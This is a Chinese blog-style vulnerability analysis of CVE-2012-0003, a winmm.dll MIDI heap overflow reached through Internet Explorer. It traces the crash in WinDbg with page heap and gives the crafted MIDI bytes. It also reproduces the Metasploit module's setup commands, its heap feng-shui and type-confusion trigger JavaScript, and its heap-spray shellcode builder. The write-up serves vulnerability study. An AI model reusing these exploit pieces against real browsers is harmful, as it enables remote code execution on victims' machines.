漏洞战争-cve-2012-0003
7 minute read
0x00 about
这个漏洞是由于微软的多媒体库winmm.dll(c:\windows\system32\winmm.dll)在处理MIDI文件时,由于对数据的处理不当导致的
堆溢出,攻击者可以在网页中嵌入特殊的MIDI文件来远程执行任意代码
0x01 准备工作
1>使用msf中的exp
msfconsole
search cve-2012-0003
use exploit/windows/browser/ms12_004_midi
set uripath test.html
set payload windows/exec
set cmd calc.exe
server started
http://192.168.118.129:8080/test.html
奇怪的是在系统中不存在test.html,但是访问上面生成的网马链接确实会中马,后来查看msf中的exp:ms12_004_midi.rb,里
面生成html的代码为
send_response(cli, html, {'Content-Type'=>'text/html'})
send_response函数在msfapi中有如下用法
也即相当于msf内置webserver通过send_response函数发送html代码到客户端实现下面这个链接的访问
http://192.168.118.129:8080/test.html
这种方式比较特殊,可能msf的web是ruby的某个类似python下的Django的web框架开发的
0x02 调试分析
打开iexplore.exe
win+r:cmd
gflags -i iexplore.exe +hpa
这里如果在windbg中设置!gflag +hpa不会成功,可能是winxp或是windbg的问题
windbg:f6附加iexplore.exe
!gflag
0:016> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
g
ie打开http://192.168.118.129:8080/test.html
(180.6f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60
eip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16a7f019=??
到这里只知道76b2d224处有内存访问异常,然而要想写出exp,还需要弄清参数传递过程,这个"堆溢出"cve的利用不是
DWORD SHOOT,而是巧妙地构造html代码达到控制eip的目的,如果是利用堆溢出,一般会想到在上面访问异常时通过找到一个
DWORD SHOOT的机会来覆盖异常处理相关的函数地址来控制eip,且要在可控数据复制到内存后找到堆分配调用
win+r:cmd
gflags -i iexplore.exe -hpa
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开http://192.168.118.129:8080/test.html
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8
eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
此时中断下来,再看看没有+hpa情况下的:WINMM!midiOutPlayNextPolyEvent+0x1ec会不会访问异常
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
g
Breakpoint 0 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0
eip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:046de111=00
此时中断下来,看到这里的[esi]与上面异常访问时的[esi]不同,考虑到启用页堆是在堆块后增加专门用于检测溢出的栅栏
页,以便在堆溢出触及栅栏页时立刻触发异常,而+hpa和-hpa的情况下[esi]不同,应该不是由于页堆造成的[esi]的不同,猜
测是由于WINMM!midiOutPlayNextPolyEvent+0x1ec处要执行多遍,而刚开始执行到WINMM!midiOutPlayNextPolyEvent+0x1ec
时[esi]处是可以访问的,只是msf中设置好的exp数据在后面某一次程序执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时
[esi]产生了变化,并在+hpa时,[esi]属于页堆增加的栅栏页的地址范围才导致+hpa时在某次执行到
WINMM!midiOutPlayNextPolyEvent+0x1ec时造成访问异常,为了验证这个想法,进行如下操作:
关闭windbg
重新打开ie
cmd:
gflags -i iexplore.exe +hpa
打开windbg,f6加载iexplore.exe
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开http://192.168.118.129:8080/test.html
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ff9d000 edx=16840f70 esi=16840f60 edi=16840fb8
eip=76b2d038 esp=365bfbe0 ebp=365bfc0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
g
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ff98000 edx=16840f70 esi=16840f60 edi=16840fb8
eip=76b2d038 esp=3690fea4 ebp=3690fedc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
这里看到WINMM!midiOutPlayNextPolyEvent第一次运行时不会经过+0x1ec的位置,在+1ec之前就返回了
g
Breakpoint 0 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=16842e51 edi=16840f60
eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16842e51=00
这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第一次运行到+0x1ec处不会产生访问异常
g
Breakpoint 0 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16843019=??
这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处访问异常([esi]不识别),g即可验证
g
(51c.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16843019=??
这里可以看到的确是会触发异常的,也即+hpa时是第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处会
访问异常,-hpa情况会怎样呢?进行如下操作验证:
关闭windbg,重新打开ie
gflags -i iexplore.exe -hpa
打开windbg,f6加载iexplore.exe
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开http://192.168.118.129:8080/test.html
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=0256aa28 esi=0256aa18 edi=0256aa70
eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
g
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ff98000 edx=0256aa28 esi=0256aa18 edi=0256aa70
eip=76b2d038 esp=0392fea4 ebp=0392fedc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
g
Breakpoint 0 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=025cae59 edi=0256aa18
eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:025cae59=00
g
Breakpoint 0 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=025cb021 edi=0256aa18
eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:025cb021=00
可以看到-hpa情况下在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处是不会产生访问异常的,结合
+hpa的功能(定位导致漏洞的代码或函数)可知在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处的
这句指令将导致产生"堆溢出"
u .
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi]
76b2d226 8ad0 mov dl,al
76b2d228 740c je WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
76b2d22a 80e2f0 and dl,0F0h
76b2d22d 80faf0 cmp dl,0F0h
76b2d230 742d je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d232 0410 add al,10h
76b2d234 eb0a jmp WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
看到的不多,扩大汇编指令范围
u eip-30 eip+30
WINMM!midiOutPlayNextPolyEvent+0x1bc:
76b2d1f4 e2f0 loop WINMM!midiOutPlayNextPolyEvent+0x1ae (76b2d1e6)
76b2d1f6 80fa90 cmp dl,90h
76b2d1f9 8855ff mov byte ptr [ebp-1],dl
76b2d1fc 7405 je WINMM!midiOutPlayNextPolyEvent+0x1cb (76b2d203)
76b2d1fe 80fa80 cmp dl,80h
76b2d201 755c jne WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d203 0fb6550b movzx edx,byte ptr [ebp+0Bh]
76b2d207 83e00f and eax,0Fh
76b2d20a c1e007 shl eax,7
76b2d20d 03c2 add eax,edx
76b2d20f 99 cdq
76b2d210 2bc2 sub eax,edx
76b2d212 d1f8 sar eax,1
76b2d214 807dff80 cmp byte ptr [ebp-1],80h
76b2d218 742a je WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
76b2d21a 84db test bl,bl
76b2d21c 7426 je WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
[***]76b2d21e 03f0 add esi,eax
76b2d220 f6450b01 test byte ptr [ebp+0Bh],1
[==============>eip]76b2d224 8a06 mov al,byte ptr [esi]
76b2d226 8ad0 mov dl,al
76b2d228 740c je WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
76b2d22a 80e2f0 and dl,0F0h
76b2d22d 80faf0 cmp dl,0F0h
76b2d230 742d je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d232 0410 add al,10h
76b2d234 eb0a jmp WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
76b2d236 80e20f and dl,0Fh
76b2d239 80fa0f cmp dl,0Fh
76b2d23c 7421 je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
[***]76b2d23e fec0 inc al
[***]76b2d240 8806 mov byte ptr [esi],al
76b2d242 eb1b jmp WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d244 f6450b01 test byte ptr [ebp+0Bh],1
76b2d248 8d1430 lea edx,[eax+esi]
76b2d24b 8a02 mov al,byte ptr [edx]
76b2d24d 7408 je WINMM!midiOutPlayNextPolyEvent+0x21f (76b2d257)
76b2d24f a8f0 test al,0F0h
76b2d251 740c je WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
76b2d253 2c10 sub al,10h
在当前eip处eax=0x419,而eip最近执行过的与eax相关的指令为76b2d21e处的add esi,eax,书中分析的是此处的esi来源于
winmmAlloc(0x400)分配到的内存地址,而add esi,eax中的eax=0x419超过了分配的0x400导致访问到超出0x19大小处的内容
,在eip下面的76b2d23e和76b2d240处可以看到,[esi]的值会加1,也即在超出0x19大小处的内存中的内容会加1,这就是这个
漏洞的危害:导致内存某处的值+1,只要能够控制这个0x19处的内存的内容,就有机会利用这个漏洞.
上面之所以会有76b2d240处的导致[esi]加1的出现,是要在mid文件中的某个音轨事件处写上"打开音符"对应的值
(书中是0x0073b29f),如下||之间的内容
00000000: 4d54 6864 0000 0006 0000 0001 0060 4d54 MThd.........`MT
00000010: 726b 0000 0035 00ff 030d 4472 756d 7320 rk...5....Drums
00000020: 2020 2842 4229 0000 c928 00b9 0764 00b9 (BB)...(...d..
00000030: 0a40 00b9 7b00 00b9 5b28 00b9 5d00 8550 .@..{...[(..]..P
00000040: 9923 7f00|9fb2 7300|ff2f 000a .#....s../..
满足mid文件中对应位置处的值为"打开音符"后,会导致在当前eip环境下的[esi]加1,也即76b2d21e执行后的[esi]加1,也即
winAlloc(0x400)分配到的内存地址+0x19处的内容加1,而利用方式中正好是利用相应内存中的值加1导致任意代码执行.书
中通过ida的f5分析函数调用与参数传递分析得到上面的esi的源是winmmAlloc(0x400),也即在打开mid文件后会有一个这样
的内存分配动作,于是构造出如下结构的内存空间使得winmmAlloc(0x400)分到的内存地址相对可控:
|xxxxxxxx|oooooooo|xxxxxxxxx|ooooooooo|xxxxxxxxx|ooooooooo|...
也即在mid文件被ie解析之前,先用js构造上面这样的内存格式,其中xxx表示有数据,ooo表示空闲内存,每个||之间的内存大
小正好为0x400,这样在上面内存结构的基础上再由ie解析mid文件而产生winmmAlloc(0x400)的动作就会分配到上面的ooo的
某个位置上,然后由于mid文件是特殊的构造好的会使winmmAlloc(0x400)分到的内存地址+0x19处的内存的内容加1的文件,
于是ie解析mid文件后,将导致winmmAlloc(0x400)分到的某个ooo位置的右边一个xxx的位置上的偏移0x19中的值加1,当上面
构造的特殊内存格式时构造好该位置内容的值+1会使得代码执行时,就可以利用这个漏洞了,而书中(msf)的利用方式是用下
面的js来达到目的的:
[msf中的构造特殊内存结构的由ruby写的js]
def build_element(element_name, my_target, type="corruption")
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
# Build attributes
0.upto(max) do |i|
case type
when "corruption"
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
else #leak
obj = "alert"
end
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
return element
end
# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target, type="corruption")
js_trigger = build_trigger_fn(my_target, type)
select_element = build_element('selob', my_target, type)
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
上面msf中的代码对应书中的如下代码:
var selob=document.createElement("select")
selob.w0=alert
selob.w1=unescape("%u0c0c %u0c0c")
selob.w2=alert
selob.w3=alert
selob.w4=alert
selob.w5=alert
...
...
selob.w63=alert
var clones=new Array(1000)
function feng_shui(){
var i=0
while (i<1000){
clones[i]=selob.cloneNode(true)
i=i+1
}
var j=0
while(j<1000){
delete clones[j]
CollectGarbage()
j=j+2
}
}
上面为了达到某处内容值+1得到控制代码执行的目的使用的是:
创建select元素selob,设置64个属性,其中w1为string类型,其余为object类型,然后创建一个数组用来存放1000个selob元
素,然后间隔释放1000个selob元素中的500个元素,然后由于ie解析mid文件,运行了winmmAlloc(0x400),得到的分配地址位
于某个释放的selob元素的位置,由于mid文件中某处已经构造好了音轨事件是"打开音符",于是会使得某个selob元素的+19
位置的值+1,于是该selob元素的第二个属性w1由string变成object,然后由下面的js来触发这个变成object的属性相应函数
的执行,触发js如下:
function trigger(){
var k=999
while (k>0){
if (typeof(clones[k].w1)=="string"){
}else{
clone[k].w1('come on!')
}
k=k-2
}
feng_shui()
document.audio.Play()
}
上面的js中的函数trigger由下面的js调用执行(执行trigger函数在ie解析mid文件之后[也即在上面的
document.audio.Play执行之后]):
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
trigger();
}
</script>
在js构造的string变成object的属性时执行的函数的地址为0x0c0c0c0c是堆喷射的利用地址,对应msf中的构造堆喷射内存
布局的代码如下:
def build_spray(my_target, leak=0)
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end
# Build shellcode based on Rop requirement
code = ''
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
code << create_info_leak_rop(my_target, leak)
code << payload.encoded
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
print_status("Generating ROP using msvcrt")
code << create_rop(my_target, payload.encoded)
else
code << payload.encoded
end
shellcode = Rex::Text.to_unescape(code)
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{shellcode}");
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
0x03 小结
漏洞场景:
程序(iexplore.exe)解析特殊构造的文件(mid)时,在内存中可找到有内存分配动作(winmmAlloc),分配的内存大小一定
(0x400),如果解析特殊文件(mid中音轨事件为打开音符)会使程序在分配到的内存地址范围之外(0x419>0x400)有改变
大小动作(使0x419偏移处的值+1)
利用方法:
可以通过与这里相同的js的构造特殊内存结构的方法来利用这个改变动作来控制eip.
首发于安全客,版权归安全客所有,http://bobao.360.cn/learning/detail/3278.html